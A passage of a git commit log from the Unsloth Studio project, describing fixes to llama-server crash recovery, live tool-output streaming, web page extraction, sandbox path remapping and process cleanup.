NetworkError plus RemoteProtocolError. Timeouts stay excluded on purpose: they mean the server is slow, not dead, and retrying one would spend the 20 minute first-token budget twice. Windows resets connections where Linux refuses them, so this also covers the common Windows presentation. _maybe_recover_from_mtp_crash returns False both when the crash is not an MTP crash and when an MTP-free reload is already in flight. Callers read that as permission to respawn, so _respawn_if_dead replayed the crashing MTP kwargs and, by replacing the process, made the in-flight reload abort on its own newer-load check. Skip the respawn while that reload owns the corpse. The guard lives in _respawn_if_dead so the plain chat path gets it too. Regression tests for both, including a guard against retrying prefill timeouts. * Release the MTP single-flight claim when the reload never starts _mtp_runtime_fallback_in_progress is claimed before the reload thread exists, and only that thread's finally clears it. Two statements ran in between with no unwind path: re-reading _last_load_kwargs, which an unload can null underneath us, and Thread.start(), which raises under the thread exhaustion that is exactly the pressure killing llama-server in the first place. Nothing else ever resets the flag, so a failure there latched it for the life of the process. That was survivable before, since respawn ignored the flag. It is not now: the guard added in db78184be keys off the flag alone, so a latch would silently disable auto-respawn for every later model, including plain non-MTP ones. Read the kwargs and process once before claiming, and release the claim if the thread cannot start. Restore the whole-payload equality assertions. Comparing field-wise was meant to leave room for rebuilding server-derived defaults on replay, but the payload is built once before the retry and re-sent unchanged, so the looser check only dropped seven real keys and added a vacuous seed comparison. Also correct the docstring: llama-server flushes its 200 at slot start, so a death during decode arrives with the response already open. The pre-header window this covers is an upload still in flight or a request waiting behind busy slots. * Confirm the child exited before spending the retry A closing llama-server can beat its own exit status: the socket error arrives while poll() still reports the process running. _respawn_if_dead then took the alive branch, handed back the stale _healthy, and the caller read that as a successful respawn and spent its single retry on the same corpse. When that retry failed, attempt was no longer 0, so no respawn ever happened and the turn died, with a log line claiming a respawn that had not occurred. The window matters most for the pre-header ReadError and RemoteProtocolError shutdowns the retry now covers. Wait a bounded second for the exit status before calling the child alive. The same race is already conceded in _maybe_recover_from_mtp_crash, whose recovery thread polls for 5s because the error can arrive a beat early; 1s here because this runs on the request path, and a genuinely live server, including one a concurrent caller has just respawned, still returns promptly. * Tighten the recovery comments * Harden the respawn path around concurrent unloads and replacements Two problems with the reap grace loop, both found by review. Skip the grace when the server was already replaced. A caller queued on _respawn_lock behind someone else's respawn woke holding the healthy replacement, could not tell it from the child its own request had used, and waited out the full grace. That sleep is under the lock, so the waits serialised: four concurrent generations cost roughly three grace periods before any retry began. Capture the process before taking the lock and return early once it has been swapped. Do not respawn a server that is being torn down on purpose. unload_model() sets _cancel_event and only clears _last_load_kwargs after the kill, so a request losing its connection mid-unload could watch that deliberate exit through the grace loop, read the stale kwargs and load the model straight back; a model switch landing during the wait was reverted the same way. Re-check the cancel flag and the process identity under _serial_load_lock before capturing the replay kwargs, matching what the MTP-crash reload already does. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Tighten the respawn comments * Do not charge the reap grace to a server that is still serving The grace loop added for the not-yet-reaped race waits on poll(), which for a live child never returns, so every transient transport error paid the full _RESPAWN_REAP_GRACE_S. That sleep is held under _respawn_lock, so the cost serialised: measured 1002 ms for one caller and 8.02 s for eight concurrent ones, against 0 ms on main. A working install pays this, not a broken one. A llama-server's listening socket dies with the process, so a loopback connect separates the two cases in microseconds. Probe it first and return immediately when the port still accepts; fall through to the grace only when the port is gone, which is the case the grace exists for. Back to 0.7 ms for one caller and 0.00 s for eight. Cross-checked on real hardware over Qwen3.5-2B, Llama-3.2-1B, Gemma-3-4B with mmproj and Qwen3-30B-A3B: decode throughput within noise of main (-0.06%, -3.71%, +2.57%, +0.29%, against a 54-232% spread between rounds of a single run), output byte-identical on every round, tool-path recovery restored on the three families whose model calls the tool, and plain-chat recovery still working on all four. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Make the respawn lose to a deliberate unload in every window Two follow-ups on the respawn path, both reproduced first. Check _cancel_event before the socket fast path. unload_model sets the flag before it kills, so the child is still accepting when the probe runs; returning the stale _healthy there aims the retry at a server that is deliberately going away. Close the unload TOCTOU. The old cancel check sat under _serial_load_lock, which unload_model never takes, so an unload could land entirely between that check and load_model and the captured kwargs would restart a model the user had stopped. Snapshot the kwargs, the flag and a new _unload_epoch together under _lock, the lock unload does hold, so a teardown is either wholly before the snapshot or wholly after it. load_model clears _cancel_event on the way in, so the epoch is the only evidence that survives; when it moves during the reload the replacement is unloaded again rather than left running. _lock stays uncontended across load_model, which would deadlock a plain Lock and block /status for the length of a load. Error-path latency is unchanged: 0.6 ms for a live server and 0.00 s for eight concurrent callers. --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> Co-authored-by: danielhanchen <unslothai@gmail.com> Co-authored-by: danielhanchen <danielhanchen@gmail.com>	2026-07-26 04:53:45 -07:00
oobabooga	91a89806d7	Studio: prevent empty responses after model thinking (#7418) ... * Fix reasoning-only Qwen3.6 completions in Studio * Address reasoning-only review findings * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>	2026-07-24 17:01:12 -07:00
Michael Han	6d8c18cd1a	Replace standalone Studio wording with Unsloth (#7221) ... * Replace standalone Studio wording with Unsloth Replace the single word Studio with Unsloth wherever it is used as shorthand for Unsloth Studio in docs, CLI output, UI strings, i18n locales, workflow display names, comments and docstrings. Kept unchanged: the full name Unsloth Studio, third party product names (LM Studio, Visual Studio, Mac Studio), feature names (Recipe Studio, Fine-tuning Studio and its translations), and all identifiers such as env vars, commands, paths and filenames. * Address review feedback on the Studio wording rename Use "an" before Unsloth where the rename left the article as "a". Restore the split brand where Unsloth and Studio render as two halves of the full product name: the onboarding sidebar subtitle and the IPv6 localhost warning. Scope two messages to the full name Unsloth Studio where plain Unsloth was misleading: the AMD README bullet and the CLI studio setup error.	2026-07-19 00:47:04 -07:00
oobabooga	3555dbdda7	Studio: don't drop parallel tool calls after an internal no-op (#7157)	2026-07-16 19:47:22 -03:00
Daniel Han	73af334d11	Studio: stream live tool output with SSE heartbeats, fix web page extraction, and surface interrupted turns (#7083) ... * Studio: stream live tool output with SSE heartbeats and fix web page extraction Server-side python/terminal tools now stream incremental stdout to the chat UI while running (new tool_output SSE event), and every blocking tool execution emits heartbeat keepalives so reverse proxies (Cloudflare tunnels cap idle streams at ~100s) cannot drop the connection mid-turn. The tool loop routes also emit a stall keepalive during silent prompt prefill between tool iterations. The final role=tool message the model sees is byte-identical to before, so tool-call parsing, nudging, and healing are untouched. web_search page fetches now extract main content: GitHub repo root pages are rewritten to the README API (with HTML fallback), hidden/aria-hidden client error placeholders are dropped, conversion scopes to article/main, and known boilerplate fragments are stripped. Non-HTML responses are returned raw instead of being run through the HTML converter. The frontend renders live-scrolling tool output inside running python and terminal cards, and a chat stream that ends without a terminal signal now surfaces an explicit interrupted state with a Retry action instead of silently ending the turn. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: fix content-type sniffing, unlimited-timeout drain, and env parity in tool streaming Content-Type sniffing: get_content_type() defaults to text/plain when the header is absent, so the sniffing fallback never fired and header-less HTML came back as raw markup. Report an empty type for a missing header and sniff the body whenever the declared type is not HTML, so mislabeled text/plain HTML pages are converted like before the extraction change. Unlimited timeout drain: with tool_call_timeout disabled the old path used communicate(timeout=None) and waited for EOF, but the streaming drain capped the post-exit drain at a 5 second join, truncating output from a grandchild that holds stdout open. When timeout is None, drain until EOF or the cancel event fires; finite timeouts keep the bounded remaining-budget join. Env parity: drop the PYTHONUNBUFFERED=1 injection on the streaming path so the child invocation is byte-identical with and without streaming (the env var was model-visible via os.getenv). Live streaming granularity now depends on the child flushing; unflushed output arrives in ~8 KB chunks or at exit and the final result is unchanged, with SSE heartbeats covering the gaps. * Studio: stream tool-call arguments while the model writes them A model writing a large tool call (a full python game is minutes of generation) produced nothing on the stream: the structured path accumulated delta.tool_calls fragments silently after the provisional card, and the text path's DRAINING state consumed everything until stream end. The user saw a dead Running spinner while the model was in fact writing code, and the byte-silent SSE segment was also the window where proxies drop the connection. New tool_args SSE events stream the arguments as they generate. The structured path forwards each fragment once a provisional card exists (backlog first, so the card starts from the top of the call). The text path sniffs the drained call for an enabled tool name and streams the raw call text under the id the stream-end parser assigns its first call (call_0), so the final tool_start reconciles the same card; the sniff is gated on enabled names plus the provisional size floor, and prose or ordinary JSON answers never spawn a card. The safetensors loop streams the drained render_html call to its existing provisional card the same way. The chat adapter accumulates the raw stream per card and feeds a partial JSON parse (call envelopes and stringified arguments unwrapped) into the part's args, so the python and terminal cards render the code live and the render_html canvas builds while streaming; both cards now say Writing code / Writing command during this phase via useToolArgsStatus. Display only: the parser input, the executed call, and the conversation the model sees are byte-identical, covered by new loop-level tests for the structured path, the text path, and the no-tool JSON answer. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: keep full tool output visible past the model cap; heal /mnt/data habits Live testing surfaced two issues in the tool streaming UX. First, a long python stdout ended in '... (truncated' in the finished card: the model-visible result is capped by tools._truncate (_MAX_OUTPUT_CHARS, previously 8000 chars) to protect the context window, and the card rendered that capped text even though the live stream had already shown everything. The cap stays (raised to 16000, overridable via UNSLOTH_TOOL_RESULT_MAX_CHARS) but display and model concerns are now split: the adapter preserves the accumulated live stream on tool_end whenever it captured more than the final result, and the finished python/terminal cards prefer it. The live-stream ceiling rises from 16 KB to 400 KB (chunks batch per poll, so SSE stays cheap), and both the live pane and the finished card render only the last 2000 lines with a Show all control so a huge output cannot jank the DOM. The truncation notice now tells the model the user saw the full output and that written files persist in the working directory. The final result string remains byte-identical with and without streaming. Second, models trained on ChatGPT code-interpreter transcripts write to /mnt/data, which does not exist here (the sandbox CWD is a per-thread persistent dir). Three layers, all identical across streaming and non-streaming paths: the python/terminal tool descriptions gain one sentence saying to use relative paths in the persistent CWD; a failed execution whose output shows a missing-file error on a known code-interpreter prefix (/mnt/data, /mnt/outputs, /home/sandbox, /workspace) gets a model-visible retry hint appended after truncation so it always survives; and a sitecustomize shim on the sandbox PYTHONPATH remaps those prefixes onto the CWD in open()/os.makedirs() with a one-line stderr notice, covering the python tool and any Python launched from the terminal tool without touching the exec wrapper (so tracebacks keep their line numbers). Bash-level file operations cannot be redirected without root or mount namespaces, so they rely on the description and the hint. * Studio: fix hidden-element parsing, heartbeat gaps, and tool output id collisions Review follow-ups on the tool streaming work: - _html_to_md: treat any present hidden attribute value as hidden (it is an enumerated attribute whose invalid value default is the Hidden state, so hidden="false" is still hidden), and implement HTML5 optional end tags so an unclosed <p hidden> or <li hidden> ends at the next sibling start tag instead of swallowing every following sibling until the parent closes - tool_stream_exec: keep heartbeats flowing after the live-output cap; a tool that keeps printing past the cap kept the queue non-empty, so neither tool_output nor heartbeat events were emitted and the SSE stream went silent past proxy idle timeouts - routes/inference: forward tool heartbeats before the disable_parallel_tool_use drop window swallows events, so a dropped call that executes server-side cannot leave the Anthropic stream silent - llama_cpp: close the provisional text tool card with a tool_end when the drained call fails to parse (DRAINING false-positive path), so the card cannot spin forever while the text is delivered as content - tools: decode terminal output as utf-8 with errors=replace like the python tool; invalid bytes used to raise UnicodeDecodeError from communicate() on the non-streaming path and silently truncate the streaming reader, so the two paths diverged - sitecustomize: patch io.open alongside builtins.open; pathlib Path.open, read_text and write_text call io.open directly and bypassed the remap - frontend: scope the toolLiveOutput/toolFullOutput store keys by pane (modelType and pairId) and clear stale entries on tool_start; backend ids like call_0 repeat across turns and across concurrently streaming panes (compare mode), so a later turn or another pane could display the wrong preserved output, and run-end cleanup now clears only its own keys Each backend fix carries a regression test that fails on the previous code; the byte-identity tests between streaming and non-streaming stay green. * Studio: keep tool failure status visible and truncation/remap notices truthful Finished python/terminal cards preferred the fuller live stream by length alone, so a tool that printed a lot then timed out or exited non-zero showed the captured stdout but dropped the final result's status (timeout notice, Exit code N). preferFullToolOutput now shows the stream when the result is just its truncated prefix, and appends the result otherwise so the failure tail always survives and the copy button copies both. The result truncation notice claimed the user was shown the full output, but the same wrapper serves non-streaming chat/API and direct execute_tool() callers where nothing is streamed to anyone. The notice is now mode-neutral and stays byte-identical with and without an output_callback, keeping the streaming vs non-streaming invariant intact. The sandbox sitecustomize shim now remaps /tmp/outputs into the working directory only while it does not already exist, so a real /tmp/outputs the user's own code created is never shadowed; /tmp/outputs also joins the missing-path retry-hint list. * Studio: suppress hidden void elements and keep live output scroll pinned only when at bottom * Studio: drop capped tool output without concatenating; remap pathlib mkdir Past the live-output cap stream_tool_execution built item + _drain_pending() (the current chunk joined with every queued sibling) only to discard it in the capped branch, so a chatty tool (yes, a tight print loop) could enqueue far more than one poll interval of text and blow past the memory/CPU ceiling the cap exists to enforce. Drain and drop queued items without building a combined string, still counting each drain toward the heartbeat cadence so the SSE keepalive survives. Generated code often prepares code-interpreter paths with Path('/mnt/data').mkdir(parents=True, exist_ok=True); pathlib drives that through os.mkdir (not the patched os.makedirs) per component and, on FileExistsError, probes the unpatched os.stat via Path.is_dir(), so the setup raised before open() ever ran. Patch os.mkdir with the same remap and patch Path.mkdir so the whole parents/exist_ok dance lands on the mapped working directory and stays idempotent; real paths still pass through. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: generalize sandbox write remap and hint to any hallucinated absolute path Models invent absolute paths from seeing their CWD (a DeepSeek run did open('/home/ubuntu/Sandbox/flappy_bird.html', 'w') and died with FileNotFoundError). A prefix list cannot enumerate these, so the sitecustomize shim gains a write-mode fallback in open()/io.open(): when a write/create-mode open targets an absolute path outside the CWD whose parent directory does not exist, redirect it to the basename in the CWD and emit the same one-line stderr notice, echoing the original path. The prefix remaps still run first (they cover reads and preserve subpaths); read modes never hit the fallback so real system files fail or succeed truthfully; bytes paths pass through. The fallback is not applied to mkdir/makedirs/Path.mkdir, since creating an arbitrary absolute directory can legitimately succeed on the host, and that decision is documented in a comment. The model-visible retry hint now echoes the real failing path (parsed from the traceback tail) instead of the canned /mnt/data example, and fires for any absolute path outside the working directory, not just the enumerated prefixes, while a relative miss still gets no hint. The shim wrapper still adds one frame to tracebacks that surface open() errors; suppressing only our frame has no clean standard mechanism (a wrapper always adds a frame), so the frame is left as an accepted compromise. Tests: hallucinated absolute write remaps to the CWD basename across w/a/x/w+; reads of a missing absolute path pass through untouched; writes to an existing external dir pass through; prefix subpaths still preserved; end-to-end write fallback lands the file in the sandbox workdir identically with and without streaming; the hint echoes the actual path for convention and non-convention absolute paths alike. * Studio: kill exited process groups on drain; bound the over-cap output batch _drain_process_output killed the process only via _kill_process_tree, which short-circuits once the parent has exited, so a grandchild that inherited stdout and outlived the parent was never signaled: a finite-timeout run could return while it kept holding the pipe, and a timeout=None cancel left it behind. Capture the setsid process group before waiting and SIGKILL that group at both give-up points so the whole tree is torn down. The streaming wrapper's first over-cap batch joined the current chunk with the entire pending backlog before enforcing the live-output cap, so a chatty tool could allocate far past the cap on the crossing batch. Bound the drain to the remaining budget and drop the surplus in place, keeping the truncated output byte-identical to joining everything. * Studio: harden sandbox path healing and process/generator cleanup Sandbox sitecustomize shim: - Make the generalized write fallback collision-safe: never redirect an invented absolute path onto an already-present CWD file (refuse and let the original open raise FileNotFoundError, preserving the workspace file). - Only w/a/x create a file; r+/rb+ are read-update modes that require the target to exist, so a bare + no longer trips the write fallback. - Gate every convention-prefix remap (/mnt/data, /mnt/outputs, /home/sandbox, /workspace) on the prefix root being absent, so a real host mount is never shadowed; a miss under an existing real prefix passes through. - Patch os.open so Path.touch and other low-level creators heal convention paths too, matching the Path.mkdir patch. Local code execution (tools.py): - Capture the setsid process group right after Popen (before any watcher can poll/reap the leader) and thread it through the cancel watcher and drain. - Kill the captured group in the non-streaming python/terminal timeout branch so an exited leader no longer leaks a stdout-holding grandchild (matches the streaming drain path). - Guard os.getpgid/os.killpg by platform so streamed execution no longer raises on Windows; fall back to single-pid kill. - Judge missing-path hints against the executor's real workdir so a legitimate miss inside a project workspace outside the sandbox root is not mislabeled. Tool streaming routes (routes/inference.py): - Drain a pending next(gen) worker before closing the generator in the safetensors and Anthropic tool streams, so a disconnect no longer races gen.close() (generator already executing) or leaks the thread/generator. HTML to markdown: - Only drop boilerplate lines composed entirely of known furniture phrases so real prose that merely quotes one (for example "we use cookies to authenticate requests") is preserved. Adds hermetic tests for each change. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: keep aside callouts, contain sandbox path remaps, and keepalive dropped Anthropic tool events _html_to_md: stop dropping <aside> unconditionally. Documentation pages render notes/warnings/examples as aside admonition callouts; those inside the selected article/main scope are real content. A furniture aside outside the scope is already excluded by the main-content pass. sitecustomize: contain the code-interpreter path remap under the sandbox CWD. A hallucinated habit path such as /mnt/data/../other_session/file no longer escapes the per-conversation workdir; parent-traversal components in the suffix are dropped and a '.'/'..' write-fallback basename is refused. routes/inference: emit a rate-limited comment keepalive when the Anthropic Messages stream drops tool_output/tool_args events. A chatty tool keeps the generator busy so the stall keepalive never fires and the tool wrapper emits heartbeats only while idle, which left the SSE stream silent past proxy idle caps; the OpenAI passthrough paths forward these events, this path now keeps the connection alive. * Studio: bound the tool-output chunk that first crosses the live cap _drain_queue joined the entire chunk that first crossed the live-output cap before dropping the rest, so a single multi-megabyte line (or any chunk dequeued once the budget was already met at max_chars <= 0) was materialized in full only to be truncated away, defeating the memory ceiling the cap enforces. Slice the crossing chunk to one character past the budget: that preserves the caller's overflow signal and its byte-identical truncation while dropping the arbitrarily large remainder in place. * Studio: scope missing-path hint to the failing line, keepalive dropped-call output, and preserve truncated tool streams over byte length - tools._missing_path_hint: the code-interpreter convention-prefix trigger scanned the whole output, so a convention prefix mentioned only in a traceback frame (a /workspace project root) or printed by the user's code would add a misleading 'use a relative path' hint even when the actual FileNotFoundError was a relative or in-workdir path. Scope the convention test to the failing-path error line(s), matching _extract_missing_abs_path. - _anthropic_tool_stream: the tool_output/tool_args rate-limited keepalive sat after the drop_until_tool_end skip, so under disable_parallel_tool_use a chatty second-or-later tool call was dropped whole with no keepalive, letting an idle proxy kill the SSE stream. Check the keepalive branch before the drop skip (like the heartbeat branch) so dropped-call output keeps the stream alive. - preferFullToolOutput / chat-adapter: a truncated result can be longer than the live stream by byte count once its footer, an 'Exit code N:' notice, or an __IMAGES__ base64 tail is appended, so the length-only gate discarded the full stream and the finished card fell back to the truncated text. Add a shared truncation-aware shouldPreserveFullOutput used by both the write and read sites: preserve the stream whenever the result carries the truncation footer. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: skip the habit-path hint for real project paths under a convention prefix * Kill captured process group on streamed wait-timeout The streamed drain path's proc.wait() timeout branch only called _kill_process_tree(proc). If the leader exits in the narrow window between the wait timing out and _kill_process_tree sampling its pgid, that helper short-circuits on the reaped leader and a stdout-holding grandchild in the same group survives. Also kill the captured pgid there, matching the non-streaming communicate() timeout path. Adds a hermetic regression test that models the reaped-leader race by stubbing _kill_process_tree. * Fix 3.10 pathlib write_text remap and honor cancel in finite drain On Python < 3.11 pathlib routes Path.open / read_text / write_text through a module-level accessor singleton whose open attribute captured the original io.open at import time (_NormalAccessor.open = io.open). Patching io.open in the sandbox shim therefore never reached that captured reference, so a Path('/mnt/data/x').write_text(...) raised FileNotFoundError on 3.10 while passing on 3.11+ (which dropped the accessor and calls io.open at call time). Repoint _NormalAccessor.open at the same io.open wrapper via a staticmethod, guarded so it is an idempotent no-op on 3.11+. Keep the test save/restore helpers symmetric so the accessor is restored too, and add a hermetic write_text/read_text remap test that covers every version. Also honor cancellation while draining inherited stdout after the leader exits. Once the leader is reaped the cancel watcher returns (its loop is while proc.poll() is None), so the finite-timeout drain did one blocking reader.join(timeout=remaining) that ignored cancel_event and kept draining a chatty grandchild for the whole budget after a disconnect/Stop. Poll cancel_event in 0.5s slices against a deadline like the timeout=None branch and kill the captured process group promptly on cancel. The normal path still reaches EOF on its own, so the streamed vs non-streamed result is unchanged. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: port no-tool stream keepalive/drain and fix subprocess/queue/extraction asymmetries Streaming no-tool paths now match their tool twins: - _anthropic_plain_stream, safetensors/MLX no-tool stream, and standard GGUF no-tool stream run next(gen) in a worker with a timed SSE keepalive loop so a long prompt prefill cannot leave the stream idle past a proxy cap. - The Anthropic plain and safetensors/MLX no-tool teardowns now drain the pending next(gen) worker and close the generator on disconnect instead of leaking the suspended generator. Other asymmetries: - Non-streaming _python_exec/_bash_exec always drain via _drain_process_output (output_callback may be None) so a cancelled run reaps a stdout-holding grandchild that outlived the leader instead of blocking in communicate(). The joined bytes are identical to communicate(), so streamed vs non-streamed results stay byte-identical. - _build_bypass_env installs the sitecustomize path shim on PYTHONPATH (prepend, keeping the operator's entries) so /mnt/data remap works in bypass mode too. - GGUF forwards output_callback to execute_tool only when the callable accepts it (shared accepts_output_callback), matching safetensors and preserving legacy monkey-patched signatures. - tool_stream_exec bounds accepted live output at the producer boundary so a chatty tool cannot grow the queue without limit under consumer backpressure and cannot keep the drain spinning and starve heartbeats. - html_to_md implicit-close now searches past unclosed inline descendants so a hidden <p>/<li> is closed by a following block; main-content scoping gates on the largest single <article>/<main> so a swarm of tiny cards cannot pass the threshold in aggregate and displace the real main. - preferFullToolOutput re-attaches the "Exit code N:" prefix to the fuller stream instead of appending the still-prefixed result, so a failed truncated tool no longer duplicates its stdout in the finished card. Adds hermetic tests for each. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Preserve short live output on timed-out tools; strip inline-CSS-hidden subtrees and score truncated main-content scopes * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Tighten chat tool streaming comments and docstrings * Keep HTML READMEs from the GitHub API and preserve interrupted tool output Convert a 200 HTML README body from the GitHub README API to Markdown instead of discarding it and falling back to the repo page chrome, and promote captured live stdout to full output when a tool never reaches tool_end (stream interrupted or cancelled) so the partial diagnostics stay on the finished card. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: anchor HTML sniff, keep repeated sandbox writes, reuse textual tool ids Anchor _looks_like_html to the leading doctype/tag so a Markdown README that opens with a fenced HTML example stays Markdown (no html_to_markdown corruption), while bare HTML fragments (<body>/<article>/<section>) are still detected and converted on a missing/wrong Content-Type. Let the sandbox write fallback re-serve a target it already healed for the same invented absolute path, so iterative overwrites of a generated artifact stop failing with FileNotFoundError while the anti-clobber guard still refuses unrelated same-basename files. Reconcile the first textual tool call carrying an explicit id onto the open provisional TEXT card instead of spawning a duplicate card under that id. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: run implicit-close before skipping tags and keep leading README tables as Markdown A skipped block (<nav>/<footer>) is an HTML5 optional-end-tag closer of an open <p>, but handle_starttag returned before the implicit-close bookkeeping, so a never-closed <p hidden> kept its hidden mark and swallowed every following sibling. Run _close_implicit before the skip decision so the hidden mark is released and trailing content renders. Drop <table> (and its <thead>/<tbody>/<tr>/<td>/<th> children) from the _looks_like_html leading set: Markdown READMEs routinely open with a raw HTML <table> badge/layout row, and sniffing that as HTML collapsed the whole Markdown body through html_to_markdown, exactly like the already-excluded <div align>/<p align> layout headers. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: make bypass-permissions Popen double faithful to the unified drain path The non-streaming _python_exec/_bash_exec now share _drain_process_output, which reads proc.stdout in a reader thread and calls proc.wait(); the test double only implemented communicate(), so bypass-mode bash returned an AttributeError instead of the faked output. Give _FakeProc a readable stdout pipe (yields the fake line then EOF), wait()/poll()/pid, so the test exercises the real drain path on both the python and bash bypass branches. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: persist sandbox path heals across runs and suppress nested hidden lists * Studio: run tool Python child unbuffered (-u) so unflushed prints stream live A long-running snippet doing bare print() without flush=True never reached the live-output pane: CPython block-buffers stdout when writing to a pipe, so _drain_process_output's readline() saw nothing until the buffer filled or the process exited. Launch the child with the interpreter -u flag so stdout is unbuffered and each print streams as it is produced. -u is applied unconditionally on both the streaming and non-streaming path, so the child invocation stays byte-identical with and without streaming and the final joined result is unchanged (buffering/timing only). Unlike the earlier PYTHONUNBUFFERED=1 env injection that was removed, -u does not pollute the child's os.environ and is not visible via os.getenv. * Render only the selected main-content subtree in html_to_markdown The main-content heuristic sized each <article>/<main> candidate individually to pick the largest subtree, but then rendered every matching tag in the document. A page with one real article plus sibling related-post cards or comment threads passed the size gate on the real article yet still emitted the unrelated siblings. Size and render the same chosen subtree so only the selected main-content subtree reaches the output. * Studio: tighten chat-tool-streaming fix comments * Studio: store tool-output-scope separators as unicode escapes The pane-scope and tool-output-key separators were literal NUL (0x00) bytes, which made git treat the file as binary and hide its diff and blame. Write them as \u0000 escapes instead; the runtime key value is unchanged. * Studio: bound tool-stream teardown when the client disconnects stream_tool_execution ran its yield loop with no try/finally, so a gen.close() on client disconnect (GeneratorExit at a yield) skipped the worker join and never signalled cancellation. A tool that does not poll cancel_event mid-flight (web_search, MCP, search_knowledge_base) then kept request teardown blocked until the tool's own timeout. Thread the request cancel_event into the wrapper, set it only on the abnormal-exit path so a clean multi-tool turn is unaffected, and bound the worker join to a few seconds; the daemon worker cannot outlive the process. * Studio: sandbox path remap no longer masks missing reads The sandbox sitecustomize shim remapped code-interpreter prefixes (/mnt/data, /workspace, ...) onto the working directory for every open mode, including reads. A read of a path that truly did not exist was silently redirected onto a same-basename workdir file instead of raising on the path the model used, hiding real missing-input errors. Remap writes and creates as before, but remap a read only when the mapped workdir target already exists (re-reading a just-written artifact); otherwise keep the original absolute path so the failure stays truthful. * Studio: bound web fetch with one overall deadline and cancellation The web fetch applied timeouts per network operation, so a GitHub README API attempt plus its HTML fallback plus up to five redirect hops could run well past the tool timeout, and nothing aborted once the client had disconnected. Add a single wall-clock deadline shared across the API attempt, the fallback, every redirect hop and the body read, cap each hop's socket timeout at the time left on the budget, and poll cancel_event. SSRF host pinning, per-hop redirect revalidation, the five-hop cap and the size cap are unchanged. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: keep tool-stream teardown off the event loop on disconnect The bounded worker join added for disconnect safety still ran on an abnormal close, so a client disconnect could wait the full join timeout; and the safetensors and Anthropic tool streams closed their generator synchronously on the event loop, unlike the GGUF path. On abnormal exit the daemon worker is abandoned, so join with a zero timeout instead of waiting; offload the safetensors and Anthropic gen.close to a thread to match GGUF; and surface a heartbeat as soon as cancel_event is set while the worker is silent so the route regains control at once instead of after a heartbeat interval. * Studio: extend the web-fetch deadline to DNS, the body read, and search The overall fetch deadline did not cover host resolution or the response body read, and query-mode web_search ignored cancellation. Resolve hosts (initial and every redirect) on a budget-polled helper so a slow or pre-cancelled getaddrinfo aborts on time; read the capped body in chunks with the budget re-checked between them so a slow-drip server cannot stretch a single read past the deadline; and gate the blocking DDGS query on cancel_event on both sides. SSRF host pinning, per-hop redirect revalidation, the five-hop cap and the size cap are unchanged. * Studio: defer the sandbox remap notice and tighten os.open create flags The one-shot remap notice fired while computing the mapping, so a read that kept its original path emitted a false notice and spent the notice a later genuine remap needed. Only emit it once _remap_open commits to the redirect. Separately, os.open classified O_TRUNC / O_APPEND without O_CREAT as creating, but those cannot create a missing file, so a missing target now stays truthful (only O_CREAT maps to the creating mode). * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: convert only genuine HTML README bodies, not Markdown with a leading block tag The GitHub README API returns the raw file, almost always Markdown. _looks_like_html classified a Markdown README opening with a block tag (<ul>, <ol>, <dl>, <pre>, <blockquote>) as HTML, so _fetch_page_text ran it through html_to_markdown and collapsed its headings, lists and fenced code into a single line. Sniff the README body with a stricter document-level check (doctype or a leading <html>/<head>/<body>) so only a real .html README is converted; the general page path is unchanged. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Surface unclassified mid-stream Anthropic errors as SSE error events The local Anthropic tool-stream and plain-stream paths called _anthropic_stream_error_event(e) with force defaulting to False, so an unclassified mid-stream failure (llama-server crash, decode OOM, a dropped upstream socket) returned no event. The except block then fell through to emitter.finish(), emitting a normal message_delta and message_stop that masked a truncated turn as a clean finish. Pass force = True at both fall-through sites so an unclassified failure emits a 500 SSE error event and returns, matching the Anthropic passthrough path that already forces it. Add regression tests covering both stream paths. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Studio: give each tool run a unique part id so finished cards keep their own output Backend tool ids restart at call_0 every assistant response, and the transient toolLiveOutput/toolFullOutput store maps were keyed by pane scope plus that bare backend id. Two turns in the same pane therefore shared one key: the stale-clear at tool_start only guards the forward direction, so when a later call_0 finished and wrote its preserved full output, every earlier still-mounted finished card reading the same key re-rendered and displayed the newer tool's output instead of its own. Mint one per-run-unique part id per backend id (call_0:<uuid>) and route tool_start/output/args/end through a single resolver so all events for a call resolve the same id. The durable part carries the unique id, so the finished-card readers derive a collision-free key with no change, and the awaiting-confirmation path keeps its own synthesized id. Outbound replay stays paired (the assistant tool_call id and the role=tool result tool_call_id both come from the part id) and gains unique ids across turns, which strict providers require. * Studio: tighten PR comments --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> Co-authored-by: danielhanchen <michaelhan2050@gmail.com>	2026-07-15 08:41:00 -07:00
